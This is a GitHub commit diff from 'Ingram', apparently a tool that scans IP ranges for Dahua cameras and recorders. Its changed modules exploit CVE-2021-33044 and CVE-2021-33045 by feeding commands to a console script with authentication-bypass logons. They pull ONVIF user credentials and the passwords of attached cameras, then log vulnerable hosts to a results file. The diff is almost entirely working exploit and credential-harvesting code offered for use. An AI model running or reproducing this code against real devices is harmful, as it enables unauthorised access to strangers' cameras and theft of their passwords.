Skip to content

Commit 947ea73

Browse files
committed
stash
1 parent b475567 commit 947ea73

31 files changed

+1450
-2438
lines changed

Diff for: Ingram/VDB/CVE_2021_33044.py

+18-9
Original file line numberDiff line numberDiff line change
@@ -7,25 +7,34 @@
77

88
from Ingram.utils import config
99
from Ingram.utils import logger
10+
from Ingram.utils import run_cmd
1011

1112

1213
def dh_console(ip, port, proto='dhip'):
1314
CWD = os.path.dirname(os.path.abspath(__file__))
1415
console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
1516
user, passwd = '', ''
1617
try:
17-
with os.popen(f"""
18-
(
18+
# with os.popen(f"""
19+
# (
20+
# echo "OnvifUser -u"
21+
# echo "quit all"
22+
# ) | python -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
23+
# """) as f: items = [line.strip() for line in f]
24+
cmd = f"""(
1925
echo "OnvifUser -u"
2026
echo "quit all"
2127
) | python -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
22-
""") as f: items = [line.strip() for line in f]
23-
logger.debug(items)
24-
for idx, val in enumerate(items):
25-
if 'Name' in val:
26-
user = val.split(':')[-1].strip().strip(',').replace('"', '')
27-
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
28-
break
28+
"""
29+
code, msg = run_cmd(cmd)
30+
if code == 0:
31+
items = msg.split('\n')
32+
logger.debug(items)
33+
for idx, val in enumerate(items):
34+
if 'Name' in val:
35+
user = val.split(':')[-1].strip().strip(',').replace('"', '')
36+
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
37+
break
2938
except Exception as e:
3039
logger.error(e)
3140
return user, passwd

Diff for: Ingram/VDB/CVE_2021_33045.py

+17-5
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77

88
from Ingram.utils import config
99
from Ingram.utils import logger
10+
from Ingram.utils import run_cmd
1011

1112

1213
def cve_2021_33045(ip: str) -> list:
@@ -18,12 +19,19 @@ def cve_2021_33045(ip: str) -> list:
1819
json_file = os.path.join(OUT, f"{ip}-{port}-users.json")
1920

2021
try:
21-
with os.popen(f"""
22+
# with os.popen(f"""
23+
# (
24+
# echo "config RemoteDevice save {json_file}"
25+
# echo "quit all"
26+
# ) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
27+
# """) as f: items = f.readlines()
28+
cmd = f"""
2229
(
2330
echo "config RemoteDevice save {json_file}"
2431
echo "quit all"
2532
) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
26-
""") as f: items = f.readlines()
33+
"""
34+
code, msg = run_cmd(cmd)
2735

2836
# success
2937
if os.path.exists(json_file):
@@ -32,9 +40,13 @@ def cve_2021_33045(ip: str) -> list:
3240
dev_all = info['params']['table'].values()
3341
dev_alive = [i for i in dev_all if i['Enable']]
3442
user = dev_alive[0]['UserName']
35-
passwd = dev_alive[0]['Password']
36-
os.remove(json_file)
37-
return [True, user, passwd, 'cve-2021-33045', len(dev_alive)]
43+
passwds = [i['Password'] for i in dev_alive if i['Password'] != '']
44+
passwds = list(set(passwds))
45+
# 子相机上有许多不同的密码,但是这些可能都和这台nvr的密码不一样
46+
return [True, user, passwds[0], 'cve-2021-33045', len(dev_alive), passwds]
3847
except Exception as e:
3948
logger.error(e)
49+
finally:
50+
if os.path.exists(json_file):
51+
os.remove(json_file)
4052
return [False, ]

Diff for: Ingram/core/data.py

+62-27
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,14 @@
1-
"""input output"""
1+
"""the data that produced by scanner and send to workshop"""
22
import os
3-
import sys
4-
import pickle
53
import hashlib
6-
from multiprocessing import Pool, Queue
4+
from multiprocessing import Pool
75

86
from gevent.lock import RLock
97

108
from Ingram.utils import color
119
from Ingram.utils import logger
1210
from Ingram.utils import singleton
11+
from Ingram.utils import get_current_time
1312
from Ingram.utils import get_ip_seg_len, get_all_ip
1413

1514

@@ -19,9 +18,9 @@ class Data:
1918
def __init__(self, _input, output):
2019
self.input = _input
2120
self.output = output
22-
self.msg_queue = Queue()
2321
self.var_lock = RLock()
2422
self.file_lock = RLock()
23+
self.create_time = get_current_time()
2524
self.taskid = hashlib.md5((self.input + self.output).encode('utf-8')).hexdigest()
2625

2726
self.total = 0
@@ -63,39 +62,75 @@ def preprocess(self):
6362

6463
# the location to begin
6564
if self.done != 0:
66-
current = 0
67-
while self.lines:
68-
line = self.lines.pop(0)
69-
current += get_ip_seg_len(line)
70-
if current == self.done:
71-
break
72-
elif current < self.done:
73-
continue
74-
else:
75-
ips = get_all_ip(line)
76-
self.lines = ips[-(current - self.done):] + self.lines
77-
break
78-
logger.debug(f"current: {current}, done: {self.done}, total: {self.total}")
65+
for _ in range(self.done):
66+
next(self.ip_generator)
67+
# current = 0
68+
# while self.lines:
69+
# line = self.lines.pop(0)
70+
# current += get_ip_seg_len(line)
71+
# if current == self.done:
72+
# break
73+
# elif current < self.done:
74+
# continue
75+
# else:
76+
# ips = get_all_ip(line)
77+
# self.lines = ips[-(current - self.done):] + self.lines
78+
# break
79+
# logger.debug(f"current: {current}, done: {self.done}, total: {self.total}")
7980

8081
# found
8182
results_file = os.path.join(self.output, 'results.csv')
8283
if os.path.exists(results_file):
8384
with open(results_file, 'r') as f:
8485
self.found = len([l for l in f if l.strip()])
8586

86-
self.vuls = open(results_file, 'a')
87-
self.not_vuls = open(os.path.join(self.output, 'not_vulnerable.csv'), 'a')
87+
self.vul = open(results_file, 'a')
88+
self.not_vul = open(os.path.join(self.output, 'not_vulnerable.csv'), 'a')
8889

8990
def ip_generate(self):
9091
for line in self.lines:
91-
ips = get_all_ip(line)
92-
for ip in ips:
93-
yield ip
92+
yield from get_all_ip(line)
93+
94+
def get_total(self):
95+
with self.var_lock:
96+
return self.total
97+
98+
def get_done(self):
99+
with self.var_lock:
100+
return self.done
101+
102+
def get_found(self):
103+
with self.var_lock:
104+
return self.found
105+
106+
def found_add(self):
107+
with self.var_lock:
108+
self.found += 1
109+
110+
def done_add(self):
111+
with self.var_lock:
112+
self.done += 1
113+
114+
def vul_add(self, item):
115+
with self.file_lock:
116+
self.vul.writelines(item)
117+
self.vul.flush()
118+
119+
def not_vul_add(self, item):
120+
with self.file_lock:
121+
self.not_vul.writelines(item)
122+
self.not_vul.flush()
123+
124+
def record_running_state(self):
125+
# every 5 minutes
126+
with self.var_lock:
127+
time_interval = int(get_current_time() - self.create_time)
128+
if time_interval % (5 * 60) == 0:
129+
logger.info(f"#@#{self.taskid}#@#{self.done}#@#running state")
94130

95131
def __del__(self):
96-
try: # if dont add try, sys.exit() may cause error
97-
self.vuls.close()
98-
self.not_vuls.close()
99-
self.msg_queue.close()
132+
try: # if dont use try, sys.exit() may cause error
133+
self.vul.close()
134+
self.not_vul.close()
100135
except Exception as e:
101136
logger.error(e)

0 commit comments

Comments
 (0)